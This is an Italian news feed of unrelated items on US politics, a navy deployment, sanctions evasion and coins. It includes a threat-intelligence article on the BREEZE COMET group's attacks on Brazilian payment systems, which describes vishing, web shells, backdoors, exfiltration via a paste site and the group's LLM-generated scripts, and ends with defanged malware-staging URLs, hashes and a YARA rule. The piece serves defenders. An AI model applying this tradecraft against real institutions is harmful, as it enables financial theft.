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Acerbo (Prc): scomparsa di Fabio Mussi, una grande perdita per tutta la sinistra home.rifondazione.eu/2026/09/0… #ComunicatiStampa

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JD Vance: "Non mi stupirebbe se l'Anticristo camminasse tra noi"


In un podcast il vicepresidente dice di non escludere la fine dei tempi, ipotizza che gli Ufo siano angeli o demoni, vede un'"energia spirituale oscura" in alcune aziende di intelligenza artificiale e difende l'immagine di Trump in veste divina.

Il vicepresidente JD Vance ha detto che non sarebbe "scioccato se l’Anticristo camminasse tra noi" e ha difeso Donald Trump dalle critiche suscitate da alcune immagini generate con l’intelligenza artificiale che ritraevano il presidente come una figura divina. Le dichiarazioni sono arrivate durante un’intervista con il podcaster cristiano Bryce Crawford, pubblicata all’inizio della settimana, in una conversazione che ha toccato anche le profezie sulla fine dei tempi, gli UFO e quella che Vance considera la dimensione spirituale della Silicon Valley.

"Sono cristiano. Ho visto l’immagine. Mi ha fatto arrabbiare, non lo nego", ha detto Crawford al vicepresidente, chiedendogli cosa ne pensasse. "Non capisco come potesse pensare di essere raffigurato come un medico. Indossava una tunica bianca con una fascia rossa. E questo, da cristiano, mi fa arrabbiare". Vance ha risposto difendendo il presidente: "Donald Trump voleva pubblicare un meme di se stesso come Dio? No. Non voleva deridere o imitare Dio. Semplicemente, non è da lui".

L’immagine era stata pubblicata sull’account Truth Social di Donald Trump il 12 aprile, giorno della Pasqua ortodossa e pochi giorni dopo che il presidente aveva criticato Papa Leone XIV per le sue posizioni sull’azione militare statunitense. Trump vi appariva con una tunica bianca e una fascia rossa, una mano posata su un uomo malato e una luce che si irradiava dall’altra, mentre sullo sfondo comparivano una bandiera americana, aquile e aerei militari.

Il post era rimasto online per circa mezza giornata prima di essere cancellato, dopo le condanne espresse da leader religiosi e da alcuni sostenitori dello stesso presidente. Trump aveva poi sostenuto che l’immagine lo ritraesse come un medico: "L’ho pubblicata e pensavo mi mostrasse come un medico. Aveva a che fare con la Croce Rossa, come operatore della Croce Rossa, che sosteniamo", aveva detto ai giornalisti.

L’Anticristo, gli UFO e la fine dei tempi


Alla domanda sulla fine dei tempi, Vance ha risposto di non sapere se siano vicini. "Ci sono cose nel mondo che mi fanno pensare che non sarei scioccato se l’Anticristo camminasse tra noi, ma cerco di non concentrarmi troppo su questo". Il vicepresidente ha adottato un approccio simile parlando degli oggetti volanti non identificati, precisando di non disporre di informazioni riservate che ne chiariscano la natura. "Non ho un fascicolo che dica: 'Oh, non era un UFO, in realtà era un demone'. Il mio atteggiamento è questo: se sono reali, non è altrettanto plausibile che siano angeli o demoni, anziché extraterrestri?".

Vance ha poi parlato del settore tecnologico, nel quale ha lavorato come investitore prima di entrare in politica. "Ci sono cose che vedi accadere in alcune aziende di intelligenza artificiale e che ti danno davvero la sensazione che ci sia un’energia spirituale oscura, davvero, davvero strana", ha detto. Il vicepresidente ha raccontato, tra l’altro, di un conoscente che utilizza l’intelligenza artificiale come consulente matrimoniale. Crawford ha definito questo impiego "un po’ satanico" e Vance, pur senza usare la stessa espressione, ha concordato sul rischio che l’intelligenza artificiale finisca per sostituire una parte delle relazioni umane.

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Dopo 286 giorni in mare, la USS Abraham Lincoln arriva in Thailandia


Quasi 5.000 marinai tornano a terra dopo oltre nove mesi di missione. Intanto al Congresso crescono le domande sulle condizioni a bordo e sul costo umano del dispiegamento.

Dopo 286 giorni di navigazione, la portaerei USS Abraham Lincoln ha attraccato mercoledì mattina a Laem Chabang, nella Thailandia orientale, con quasi 5.000 marinai a bordo. È la prima vera sosta in porto dall'inizio del dispiegamento, cominciato a novembre con la partenza dalla base di San Diego, e per l'equipaggio rappresenta il primo periodo prolungato a terra dopo più di 9 mesi. I militari sono scesi dalla nave in abiti civili, salutati dalla piccola folla radunata sul molo. Molti trascorreranno la licenza nella vicina Pattaya, località balneare nota soprattutto per la vita notturna.

Diecimila sortite e una lettera di 52 deputati


La Lincoln ha avuto un ruolo di primo piano nei bombardamenti statunitensi contro l'Iran e ha partecipato al blocco dei porti iraniani che il presidente Donald Trump mantiene in piedi tuttora. Secondo Hung Cao, Segretario della Marina facente funzioni, la portaerei ha trascorso più di 200 giorni in zona di combattimento, effettuato oltre 10.000 sortite e sganciato circa 680 tonnellate di ordigni.

La durata eccezionale della missione, insieme alle segnalazioni di carenze di cibo fresco e di problemi di salute mentale a bordo, ha però suscitato preoccupazioni tra le famiglie e al Congresso. Il 14 agosto, 52 deputati hanno scritto a Cao citando le denunce dei familiari sulle condizioni del cibo, sull'igiene e sullo stress psicologico. Al Senato, il democratico Richard Blumenthal ha chiesto chiarimenti sulle condizioni a bordo dopo che Navy Times e Stars and Stripes avevano riferito di episodi in cui alcuni marinai erano finiti in mare.

Marina USA · Guerra con l’Iran
La Lincoln torna in porto dopo 286 giorni: la missione che ha battuto il record moderno della Marina

La portaerei ha lasciato San Diego il 21 novembre 2025 ed è attraccata in Thailandia il 2 settembre. Nel frattempo ha bombardato l’Iran, ha partecipato al blocco dei suoi porti e ha superato il primato di giorni consecutivi in mare. Le famiglie e 52 deputati hanno chiesto conto delle condizioni a bordo.
Grafica di FocusAmerica 3 settembre 2026

Dalla partenza da San Diego all’attracco a Laem Chabang

0giorni in mare
A bordo quasi 5.000 tra marinai e marines. Tocca i numeri sulla striscia per leggere le tappe.

In condizioni normali una portaerei fa una sosta in porto ogni 30–45 giorni. Sulla stessa scala, ecco quante soste la Lincoln avrebbe dovuto fare.

Da 6 a 9 soste attese 1 sosta completa effettuata

121 nov 202521 novParte da San Diego

Il 21 novembre 2025 il gruppo d’attacco del Carrier Strike Group 3 salpa dalla California con destinazione l’Indo-Pacifico. Verrà dirottato verso il Medio Oriente con l’intensificarsi del confronto con l’Iran.

2DicembreSosta breve a Guam

Un passaggio tecnico nella base americana del Pacifico. La Marina non lo conta come vera sosta in porto: da qui in avanti la nave resta in mare senza interruzioni per oltre 200 giorni.

36 lug 20266 lugBatte il record: 207 giorni consecutivi in mare

Il primato moderno per una portaerei americana apparteneva alla USS Dwight D. Eisenhower, rimasta in mare 206 giorni nel 2020 per evitare i contagi da Covid. La Lincoln lo supera mentre è impegnata nei bombardamenti sull’Iran.

4LuglioSosta breve in Oman

Una fermata breve, la sola dopo Guam. Per l’equipaggio non c’è un vero periodo di licenza a terra.

514 ago 202614 ago52 deputati scrivono al segretario della Marina

La lettera a Hung Cao riprende le denunce dei familiari su cibo, igiene e stress psicologico. Lo stesso giorno Cao annuncia il rientro della nave e ne difende il bilancio: 200 giorni in zona di combattimento e oltre 10.000 sortite.

62 set 20262 setAttracca a Laem Chabang, in Thailandia

Prima vera sosta in porto dall’inizio del dispiegamento. I marinai scendono in abiti civili: molti passeranno la licenza a Pattaya, dove le autorità stimano un indotto di circa 3 milioni di dollari.

Il bilancio operativo
Sette giorni su dieci passati in zona di combattimento
Sono le cifre diffuse il 14 agosto dal segretario della Marina facente funzioni Hung Cao, nel giorno in cui ha annunciato il rientro della portaerei.

Combattimento
oltre
0giorni
trascorsi in zona di combattimento

200 giornisu 286

Voli
oltre
0
sortite effettuate dagli aerei imbarcati

Ordigni
circa
0tonnellate
di ordigni sganciati, pari a 1,5 milioni di libbre

Il prezzo a bordo
Le famiglie denunciano, il Pentagono smentisce
La durata eccezionale della missione ha portato il caso al Congresso. Le due versioni sulle condizioni dell’equipaggio restano lontane.

52
deputati hanno scritto al segretario della Marina il 14 agosto, citando le denunce dei familiari. Al Senato il democratico Richard Blumenthal ha chiesto chiarimenti dopo le notizie di marinai finiti in mare.

Le denunce
Familiari dei marinai, Navy Times, Stars and Stripes
Carenze di cibo fresco a bordo
Problemi di igiene e di rifornimenti
Casi di stress psicologico e di salute mentale
Episodi di marinai finiti in mare

La risposta ufficiale
Marina statunitense, Dipartimento della Difesa
Il cibo non è mai venuto a mancare: i menù sono stati adattati quando mancavano i rifornimenti freschi
Un piccolo numero di casi di salute mentale, trattati senza decessi
Per il segretario alla Difesa Pete Hegseth i resoconti sono completamente travisati
Per il contrammiraglio Loughran il risultato del gruppo d’attacco è davvero storico

Fonte Elaborazione FocusAmerica su dati della Marina statunitense (dichiarazioni del segretario facente funzioni Hung Cao, 14 agosto 2026), Wall Street Journal, Navy Times, Stars and Stripes, Reuters e Associated Press. Le soste a Guam e in Oman sono collocate al mese, non al giorno.

La Marina ha riconosciuto le difficoltà legate a dispiegamenti così lunghi, ma ha sostenuto che il cibo non sia mai venuto a mancare e che "un piccolo numero" di casi legati alla salute mentale sia stato trattato senza che si registrassero decessi. Il Segretario alla Difesa Pete Hegseth ha invece definito quei resoconti "completamente travisati". "Quello che questo gruppo d'attacco ha realizzato è davvero storico", ha dichiarato il contrammiraglio Robert E. Loughran, comandante del Carrier Strike Group 3, di cui la Lincoln fa parte.

Nei giorni scorsi la pagina Facebook ufficiale della nave ha pubblicato le immagini di una grigliata nell'hangar, con i marinai in fila per hamburger e hot dog, insieme a un bilancio delle attività ricreative durante la missione: 1.031 lezioni di fitness e 36 competizioni sportive. La portaerei aveva già fatto tappa a Guam a dicembre e brevemente in Oman a luglio, ma la Marina considera quella in Thailandia la prima sosta completa dall'inizio del dispiegamento. Nello stesso giorno sono arrivati nei vicini porti di Sriracha e Map Ta Phut anche il cacciatorpediniere USS Frank E. Petersen Jr., a sua volta reduce dal Medio Oriente, e l'incrociatore USS Robert Smalls.

A Pattaya, con due strade vietate


A Pattaya autorità e commercianti si sono preparati all'arrivo dei militari statunitensi. Al passaggio degli autobus carichi di marinai, negozianti e lavoratrici dei bar lungo la strada hanno applaudito. La prostituzione in Thailandia è illegale e, nei giorni precedenti, la polizia locale aveva fermato alcune lavoratrici del sesso arrivate da poco in città. Il sindaco Poramet Ngampichet ha detto ai giornalisti che ai militari è stato chiesto di evitare dopo il tramonto due strade note per la presenza della prostituzione.

L'arrivo della Marina statunitense cade nel pieno della bassa stagione turistica, in una zona che risente anche delle difficoltà nei collegamenti e dell'aumento dei prezzi dei biglietti aerei legati al conflitto con l'Iran. Secondo le autorità locali, la visita potrebbe generare circa 3 milioni di dollari per l'economia della città. In condizioni normali, un marinaio può aspettarsi una sosta in porto ogni 30-45 giorni, ha spiegato al Wall Street Journal Todd Wende.

"Credo che la cosa principale che vogliono questi ragazzi sia semplicemente scendere da quella nave, mangiare decentemente e non avere nessuno che comandi su di loro per qualche giorno", ha detto. A bordo, ha aggiunto Wende, l'equipaggio ha dovuto convivere con l'incertezza sulla durata della missione e, nello stesso tempo, mantenere una concentrazione costante in un ambiente sempre più pericoloso: un aereo spostato sul ponte può urtare un ostacolo, una catapulta può essere regolata con una pressione errata e una vedetta stanca può non accorgersi di una minaccia.

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✨ BREEZE COMET: la banda che usa l’IA per svaligiare Pix, STR e Boleto in Brasile
#CyberSecurity
insicurezzadigitale.com/breeze…

@informatica


BREEZE COMET: la banda che usa l’IA per svaligiare Pix, STR e Boleto in Brasile


Si parla di:
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Per due anni una banda finanziaria ha bussato metodicamente alle porte del sistema bancario brasiliano, passando dal vishing spicciolo all’accesso diretto ai circuiti di pagamento istantaneo Pix e al sistema di regolamento interbancario STR. Google Threat Intelligence Group e Mandiant hanno battezzato il gruppo BREEZE COMET e ne hanno ricostruito l’intera catena d’attacco in un report pubblicato il 1° settembre 2026: un caso di scuola su come il cybercrime finanziario latinoamericano stia raggiungendo la sofisticazione tecnica degli attori state-sponsored, complice anche l’uso di script generati con l’intelligenza artificiale.

Chi è BREEZE COMET


Tracciato in precedenza come UNC5669, il gruppo è noto anche con i nomi Plump Spider e SHADOW-AETHER-064 a seconda del vendor. Attivo almeno dal 2023, BREEZE COMET è motivato esclusivamente dal profitto e ha colpito banche, società fintech, processori di pagamento, catene retail, borse valori e fornitori di software bancario in Brasile. Gli analisti di Mandiant sottolineano che l’infrastruttura di staging del gruppo è già stata riutilizzata anche contro siti governativi in Nigeria, Paraguay, Ghana e Venezuela, segno di un’espansione operativa che va oltre il mercato brasiliano.

Il bersaglio finale non sono le vittime dirette, ma la Rede do Sistema Financeiro Nacional (RSFN), la rete che collega le istituzioni finanziarie brasiliane al circuito Pix e al Sistema de Transferência de Reservas (STR), oltre al meccanismo di fatturazione Boleto. Per raggiungerlo servono credenziali mTLS specifiche e un accesso profondo alle applicazioni di core banking: non un obiettivo alla portata di un ransomware opportunistico, ma di un’operazione pianificata su mesi.

Dall’ingegneria sociale al server IIS finto


La catena d’attacco documentata da Google segue una progressione precisa. Nella fase iniziale (2024) BREEZE COMET puntava su password spraying contro portali aziendali e vishing: operatori che si spacciavano per il supporto IT telefonavano ai dipendenti, spesso via WhatsApp, convincendoli a installare strumenti RMM legittimi come AnyDesk. In alcuni casi il gruppo ha anche tentato di reclutare direttamente dipendenti bancari come insider.

A metà 2025 le tecniche si sono fatte più mature: compromissione di siti governativi municipali brasiliani minori, usati come infrastruttura di hosting e staging per i payload; inserimento fisico di dispositivi hardware non autorizzati nelle reti di negozi retail per ottenere un punto d’appoggio nella LAN; sfruttamento di installazioni JBoss AS vulnerabili per distribuire web shell. Una volta dentro, gli operatori usano Impacket, ADRecon e ADVipscan eseguiti in memoria via PowerShell per la ricognizione di Active Directory, cercando in modo specifico stringhe come boleto, cnab, remessa e webhook.*pix per individuare rapidamente i sistemi di pagamento.

Per il movimento laterale il gruppo dirotta account di servizio via RDP e sfrutta SMB, ma il vero salto di qualità è nell’arsenale di backdoor proprietarie sviluppate per garantire ridondanza di accesso:

  • COBALTSPIN (Rust) — tunneler leggero che crea un proxy SOCKS5 inverso su WebSocket per bypassare la segmentazione di rete e raggiungere le API finanziarie.
  • LIGHTPAINT (Java) — installa una VPN SoftEther legittima con persistenza, manipolando le regole del firewall di Windows Defender.
  • MILDFROST (Java) — backdoor passiva che comunica via DNS tunneling, usata come canale di riserva.
  • KICKPLATE (Nim) — si maschera da Windows Update Health Tools per garantire persistenza e gestire tunnel SOCKS5.
  • BOATBEAM (Go) — finto server HTTPS su IIS in ascolto sulla porta 443, che si attiva solo in presenza di uno specifico cookie di sessione.
  • XWORM — infostealer commerciale reperibile su forum underground, usato come componente aggiuntiva.

Per l’esfiltrazione di segreti e credenziali, gli operatori si affidano perfino a servizi di appunti pubblici come dontpad.com, mentre negli ambienti cloud compromessi sono stati osservati deployment di pod Kubernetes usati come meccanismo di persistenza aggiuntivo.

Script scritti dall’IA: la firma involontaria


Uno degli elementi più interessanti del report è la prova, secondo Google, che BREEZE COMET utilizzi modelli linguistici di grandi dimensioni per generare gli script di ricognizione, automatizzare la validazione delle credenziali rubate e produrre logiche di pivoting specifiche per ogni vittima. Gli analisti hanno riconosciuto pattern tipici del codice generato da IA: commenti esplicativi eccessivi, strutture “srotolate” senza funzioni o astrazioni, header di esecuzione standardizzati e un’assenza quasi totale delle idiosincrasie tipiche di uno sviluppatore umano. Un dettaglio che, paradossalmente, ha aiutato gli analisti a fare attribuzione, ma che testimonia anche quanto l’IA generativa stia abbassando la barriera d’ingresso per gruppi criminali di fascia media.

Il risultato operativo è impressionante: secondo Google, in alcuni episodi il tempo tra la compromissione iniziale e l’esecuzione delle transazioni fraudolente sulle applicazioni bancarie core è di sole 24-48 ore. In un caso documentato, il gruppo ha eseguito centinaia di transazioni fraudolente sottraendo asset per decine di migliaia di dollari, ripulendo poi log degli eventi e directory create per cancellare le tracce.

Due righe per i difensori


Il caso BREEZE COMET conferma una tendenza che gli analisti di threat intelligence osservano da tempo in America Latina: gruppi nati come fraudster retail opportunistici stanno evolvendo verso la compromissione diretta dei sistemi di core banking, con un livello di ingegneria del malware paragonabile a quello di attori APT. Per le istituzioni finanziarie brasiliane — e, visto il riuso dell’infrastruttura in altri Paesi, potenzialmente per qualsiasi banca dell’America Latina e dell’Africa — le raccomandazioni di Google includono: applicazione rigorosa di whitelisting delle applicazioni (WDAC, Gatekeeper, fapolicyd), autenticazione MFA phishing-resistant su tutti i portali esterni, PowerShell in Constrained Language Mode con Script Block Logging attivo, segmentazione di rete che blocchi SMB e RDP tra segmenti non necessari, controllo NAC 802.1X sulle porte Ethernet fisiche nei negozi retail, e gestione centralizzata dei segreti per eliminare credenziali in chiaro nel codice.

La formazione dei dipendenti resta la prima linea di difesa: il vishing che impersona il supporto IT rimane, ancora oggi, il vettore d’accesso iniziale più efficace per questo genere di operazioni.

Indicatori di compromissione

# Hash malware custom (SHA-256)
3b22605244dbace8f0c07c2c599f88c4b831bb07e9998b869a5da2759d27ceec  COBALTSPIN
2214907e696bad85bde1d90c943ef66e413d7a5c6d7596ced25b74441200439a  REALBREEZE
c0db6ddd6222d02ad7490399d33c61ded0076f0037409dc8498924458646d78a  MILDFROST
6d4012e0dd3b56a3e52857734fa0d582cdf3c56f0e5decc8005c882d1d1c6ceb  BOATBEAM
f139b4ca15feffb7a6633ec1a431c5c604b397576b56b5c863ae8fe4fa14db4f  KICKPLATE
51fdd83b3737add7f3832bd0ad0b56863c0a8f7cf9bcc16fd787d1ae4b403ce6  XWORM
d2aa40cc53b40c6e76ac0677c4a54387b3f27ee94c85d9b2c3a3d66aeef92a66  XWORM
447e3a131e62bd33b1297739a7b959a92358a97f58554469044636a3c4f244e8  XWORM

# Domini governativi brasiliani compromessi (staging/C2)
hxxps://procon[.]go[.]gov[.]br/ComprovantePDF[.]exe
hxxps://cmgovernadorluizrocha[.]ma[.]gov[.]br/Comprovantepdf[.]exe
hxxp://gcm[.]setelagoas[.]mg[.]gov[.]br/files/ti[.]zip
hxxps://minacu[.]go[.]gov[.]br/ComprovantePDF[.]exe
hxxps://conseg[.]ssp[.]go[.]gov[.]br/COAF-POLICIAFEDERAL[.]exe
hxxps://suporte[.]camaratunapolis[.]sc[.]gov[.]br/ti/attvpn[.]zip
hxxps://tisup[.]camaratunapolis[.]sc[.]gov[.]br/SoftEther[.]exe
hxxp://suporte[.]ourinhos[.]sp[.]gov[.]br/files/s[.]zip
hxxps://servicos[.]salto[.]sp[.]gov[.]br/j[.]jar

# Infrastruttura riutilizzata fuori dal Brasile
hxxps://www.mrtb[.]gov[.]ng/apps/attvpn[.]vip   (Nigeria)
hxxp://credeb[.]gov[.]gn/r[.]zip                 (Guinea)
hxxps://sit[.]baer[.]gob[.]ve/r[.]exe            (Venezuela)
hxxps://jmcov[.]gov[.]py/cxv[.]exe               (Paraguay)

# Canale di esfiltrazione
dontpad[.]com

# YARA - REALBREEZE (utility LDAP brute-force)
rule M_Utility_REALBREEZE_2 {
    strings:
        $s1 = "IP/REDE" wide
        $s2 = "SENHA" wide
        $s5 = "get_SamAccountName"
        $s6 = "get_txtHostname"
    condition:
        uint16(0) == 0x5A4D and all of them
}

Fonte primaria: Google Threat Intelligence Group e Mandiant, “Financially Motivated Threat Actor BREEZE COMET Targets Brazil”, 1° settembre 2026.

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✨ Aeza Group: come un consigliere comunale tedesco AfD ha aiutato l’hosting bulletproof russo ad aggirare le sanzioni
#CyberSecurity
insicurezzadigitale.com/aeza-g…

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Aeza Group: come un consigliere comunale tedesco AfD ha aiutato l’hosting bulletproof russo ad aggirare le sanzioni


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Aggirare le sanzioni internazionali contro un hosting provider “a prova di proiettile” non richiede necessariamente hacker sofisticati o infrastrutture nascoste in Paesi compiacenti: a volte basta una piccola società registrata a Belgrado, intestata a un consigliere comunale tedesco di provincia. È quanto emerso da un’indagine incrociata tra ricercatori OSINT e le autorità statunitensi, che ha collegato Andreas Maul — esponente locale di Alternative für Deutschland (AfD) nella cittadina di Selm, nel Nordreno-Vestfalia — alla rete di infrastrutture usata da Aeza Group, uno dei bulletproof hoster russi più sanzionati degli ultimi due anni, per continuare a operare dopo le misure restrittive occidentali.

Chi è Aeza Group


Aeza Group è un hosting provider russo che il Dipartimento del Tesoro statunitense, tramite l’Office of Foreign Assets Control (OFAC), ha sanzionato il 1° luglio 2025, descrivendolo come un servizio “bulletproof” che ignora deliberatamente le segnalazioni di abuso e le richieste di blocco delle forze dell’ordine internazionali. Sui suoi server, secondo l’accusa americana, hanno trovato casa componenti infrastrutturali della gang ransomware BianLian, pannelli di gestione dell’infostealer RedLine, l’infrastruttura del malware Meduza e — soprattutto — BlackSprut, un marketplace darknet russo per la vendita di stupefacenti che tra gennaio e settembre 2025 avrebbe processato transazioni per circa 1,85 miliardi di dollari.

Non è tutto: parte dell’infrastruttura di Aeza ha ospitato anche siti collegati a Doppelgänger, la campagna di disinformazione filo-Cremlino che clona le grafiche di testate giornalistiche europee e americane per diffondere narrative pro-Mosca. Un dettaglio che colloca Aeza non solo nell’orbita del cybercrime “puro”, ma anche in quella delle operazioni di influenza sponsorizzate dallo Stato russo. Le sanzioni OFAC del luglio 2025 hanno colpito individualmente anche i vertici della società: il CEO Arsenii Penzev, il direttore generale Yurii Bozoyan, il direttore tecnico Vladimir Gast e il socio Igor Knyazev, ciascuno con quote comprese tra il 33% dell’azionariato. Due mesi prima, ad aprile 2025, Penzev e Bozoyan erano già stati arrestati a Mosca — non per le accuse occidentali, ma con capi d’imputazione russi legati a criminalità organizzata e narcotraffico, in quello che gli osservatori descrivono come un tipico caso di “impunità controllata”: tollerati finché non infastidiscono il sistema, sacrificabili quando serve.

La scappatoia serba


Le sanzioni, per definizione, colpiscono entità nominate: bloccano asset, vietano transazioni, impediscono a chi ha sede negli Stati Uniti di fare affari con i soggetti indicati. Ma un indirizzo IP non porta un’etichetta con scritto “Aeza” — e questo è precisamente il varco che, secondo la ricostruzione OFAC, la società ha sfruttato. Dopo le sanzioni di luglio 2025, un blocco di risorse IP che secondo le autorità americane restava operativamente riconducibile ad Aeza sarebbe stato trasferito, a novembre 2025, a una società con sede a Belgrado: Smart Digital Ideas d.o.o., formalmente attiva nel “commercio all’ingrosso di computer, attrezzature e software” e priva di qualunque menzione pubblica del marchio Aeza.

Il nome dietro la società, secondo i registri camerali serbi, è Andreas Maul: 38 anni, consigliere comunale AfD a Selm dal novembre 2025, con un passato professionale legato al commercio IT. Maul risulta proprietario e amministratore unico di Smart Digital Ideas, che aveva registrato già nell’ottobre 2022 — quindi ben prima delle sanzioni, un dettaglio che rafforza l’ipotesi di una struttura “dormiente” pronta a essere attivata come paravento nel momento del bisogno. Le indagini OSINT hanno inoltre rilevato che la sede di Smart Digital Ideas a Belgrado coincide con quella di un’altra entità, Cipher Operations, fondata nel dicembre 2022 da un cittadino russo, Aleksandr Yenakiyev — che, interpellato dai giornalisti, ha negato qualsiasi legame: “Nessuno dei nomi che avete elencato, a parte Cipher Operations, mi dice nulla.”

L’OFAC ha sanzionato Smart Digital Ideas nel novembre 2025, quasi in contemporanea con l’individuazione del legame con Maul, insieme ad altre entità satellite identificate nella stessa rete. Il pattern — trasferire rapidamente asset IP verso una nuova ragione sociale non ancora nominata, in una giurisdizione terza come la Serbia, formalmente fuori dal perimetro UE — è una tecnica di sanctions evasion sempre più comune tra gli hoster “a prova di proiettile” russi, e ricalca schemi già documentati da Recorded Future nella serie di ricerche “Dark Covenant” sui rapporti tra cybercriminali e apparato statale russo.

Il paradosso geografico


Il dato più scomodo per i regolatori europei è che, mentre Stati Uniti, Regno Unito e Australia hanno sanzionato Aeza e le sue diramazioni, l’Unione Europea non ha ancora adottato misure equivalenti. Questo significa che una società di comodo con sede a Belgrado — capitale di un Paese candidato all’adesione UE ma non ancora vincolato al regime sanzionatorio comunitario sulla stessa infrastruttura — può continuare a operare legalmente sul territorio europeo, offrendo di fatto un corridoio per il traffico che le sanzioni statunitensi intendevano tagliare. Aggiunge un ulteriore strato di ambiguità la circostanza che il beneficiario finale identificato sia un cittadino tedesco, quindi UE, e un politico eletto: un cortocircuito tra il piano geopolitico delle sanzioni e quello, molto più poroso, delle giurisdizioni societarie europee.

Due righe per i difensori


Per i team di sicurezza e compliance, questo caso è un promemoria pratico di quanto sia labile la vita utile di una lista di indicatori “sanzionati”: chi gestisce infrastruttura critica dovrebbe considerare quanto segue.

  • Le liste di blocco basate solo sul nome dell’entità sanzionata invecchiano rapidamente: è preferibile correlare i blocchi IP/ASN con l’intelligence su hosting “a prova di proiettile” aggiornata da fornitori di threat intelligence, non solo con la SDN List OFAC in senso stretto;
  • Verificare periodicamente se gli intervalli di IP già bloccati come “Aeza” sono stati riassegnati a nuovi ASN o LIR, tecnica comune per “ripulire” la reputazione di un blocco di indirizzi;
  • Diffidare di hosting provider di recente costituzione in giurisdizioni terze (Serbia, ma anche altri Paesi extra-UE con regimi di compliance più permissivi) quando condividono infrastruttura, ASN o pattern di registrazione con entità già sanzionate;
  • Per i team investigativi e di threat intelligence, incrociare i dati di corporate registry pubblici (come quelli serbi, consultabili online) resta uno strumento OSINT sottovalutato ma estremamente efficace per smascherare strutture di comodo;
  • Ricordare che dietro l’infrastruttura tecnica di ransomware, infostealer e marketplace darknet si trovano spesso reti di facilitatori legali e finanziari tutt’altro che nascosti — a volte, come in questo caso, persino eletti in un consiglio comunale.

Fonti: OFAC/U.S. Department of the Treasury, BleepingComputer, Balkan Insight, vsquare.org, Recorded Future (“Dark Covenant 3.0”).


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Il volto di Trump sul dollaro, il primo presidente in vita un secolo dopo Coolidge


Le monete da un dollaro con il viso del presidente in carica, destinate ai collezionisti, sono in vendita da mercoledì, 61 dollari ogni 25 pezzi, ma hanno anche corso legale. Democratici e giuristi ne contestano la legittimità.

La Zecca degli Stati Uniti ha iniziato mercoledì a vendere le monete da un dollaro con il volto di Donald Trump, annunciando sui social che sono "in circolazione, quindi controllate gli spiccioli in tasca". I pezzi vengono venduti in rotoli da 25 monete a 61 dollari o in sacchetti da 100 a 154,50 dollari, dunque a un prezzo nettamente superiore al valore nominale. Restano però a tutti gli effetti denaro: sul proprio sito la Zecca precisa che hanno una "finitura da circolazione", pur non essendo mai state immesse materialmente in circolazione, e che "possono comunque essere usate come moneta a corso legale".

Il dollaro con il viso di Trump occupa così una posizione insolita: viene commercializzato come oggetto da collezione, ma mantiene un valore facciale di un dollaro indipendentemente dal prezzo pagato dall'acquirente. Tra i pezzi messi in vendita, la Zecca ha distribuito casualmente 250.000 monete coniate il 4 luglio e contraddistinte da uno speciale marchio commemorativo.

Avere corso legale, spiega Axios, significa che la moneta può essere utilizzata per pagare debiti, tasse e altri oneri pubblici secondo la legge federale. Non significa però che ogni negozio sia obbligato ad accettarla: negli Stati Uniti le imprese private possono in genere decidere autonomamente quali mezzi di pagamento ammettere. Gli americani, del resto, non hanno mai mostrato particolare entusiasmo per le monete da un dollaro. Il dollaro Sacagawea, introdotto all'inizio degli anni Duemila, non riuscì ad affermarsi nonostante una campagna promozionale costata milioni di dollari; nel 2011 il governo smise inoltre di immettere nella normale circolazione la serie dei dollari presidenziali a causa della scarsa domanda.

Il nodo della legalità


Le questioni più delicate riguardano però la legittimità della moneta, perché Trump è il primo presidente vivente da un secolo a comparire su una moneta statunitense. Il Presidential $1 Coin Act del 2005 prevede che nella serie dei dollari presidenziali possano essere raffigurati soltanto presidenti defunti, mentre il Circulating Collectible Coin Redesign Act del 2020 vieta i ritratti di persone viventi sul rovescio delle monete.

Nell'ottobre 2025 il Dipartimento del Tesoro ha però sostenuto che la stessa legge del 2020 consenta, in occasione dei 250 anni degli Stati Uniti, "disegni emblematici del 250° anniversario degli Stati Uniti". Il ritratto di Trump è stato inoltre collocato sul dritto della moneta, non sul rovescio. Le revisioni legali condotte dalla Zecca e dal Dipartimento del Tesoro hanno concluso che il disegno fosse conforme alla legge. A luglio un portavoce del Dipartimento aveva rimandato a un articolo dell'Independent secondo cui la Zecca aveva esaminato la questione per stabilire se la produzione della moneta potesse violare la normativa.

L'iniziativa ha comunque suscitato opposizione politica e contenziosi legali. Nel dicembre scorso i senatori democratici Jeff Merkley e Catherine Cortez Masto hanno presentato una proposta di legge per impedire che presidenti in carica o ancora in vita possano comparire anche su versioni da collezione della valuta statunitense. Il deputato democratico Ritchie Torres ha invece proposto il "TRUMP Act", con l'obiettivo di vietare a un presidente di far comparire la propria immagine sul denaro.

Il precedente di Calvin Coolidge


Un precedente però esiste e risale esattamente a un secolo fa. Nel 1926 Calvin Coolidge, allora presidente in carica, comparve insieme a George Washington su un mezzo dollaro commemorativo realizzato per il 150° anniversario dell'indipendenza degli Stati Uniti. Fu il primo presidente statunitense a essere raffigurato su una moneta durante la propria vita.

La legge che autorizzava quel mezzo dollaro stabiliva espressamente che la moneta avesse corso legale "per il valore facciale". Veniva venduta a un dollaro pur avendo un valore nominale di 50 centesimi. Degli oltre un milione di esemplari coniati ne furono venduti 141.120; la maggior parte dei rimanenti venne successivamente fusa.

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Quindi Martin Luther King avrebbe dovuto smettere di chiedere pieni diritti civili per non “regalare consenso” ai segregazionisti?
Che l’estrema destra cerchi consenso attaccando i pari diritti ce lo aspettiamo, il problema sono i cosiddetti moderati che la rincorrono, arrivando a chiamare quei diritti un “eccesso”.

#DirittiCivili #MatrimonioEgualitario #LGBTQIA #Vannacci #Pride #EuropaFederale #Volt #VoltItalia #VoltEuropa

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L'ambasciatore americano alla NATO agli alleati: preparatevi come se Putin stesse per attaccare


L'ambasciatore americano alla NATO Matt Whitaker chiede agli alleati di investire e addestrarsi come se Mosca stesse per attaccare. La Russia resta logorata dalla guerra in Ucraina, ma secondo gli esperti potrebbe ricostruire in pochi anni la capacità di minacciare il fianco orientale dell'Alleanza.

Vladimir Putin forse non sta preparando un attacco imminente contro un Paese della NATO, ma gli alleati devono addestrarsi e investire nel settore della difesa come se questa eventualità fosse concreta, così da essere pronti a respingere un'aggressione improvvisa. È il messaggio che l'ambasciatore statunitense presso l'Alleanza Atlantica, Matt Whitaker, ha affidato a un'intervista esclusiva con USA Today condotta nel quartier generale della NATO a Bruxelles.

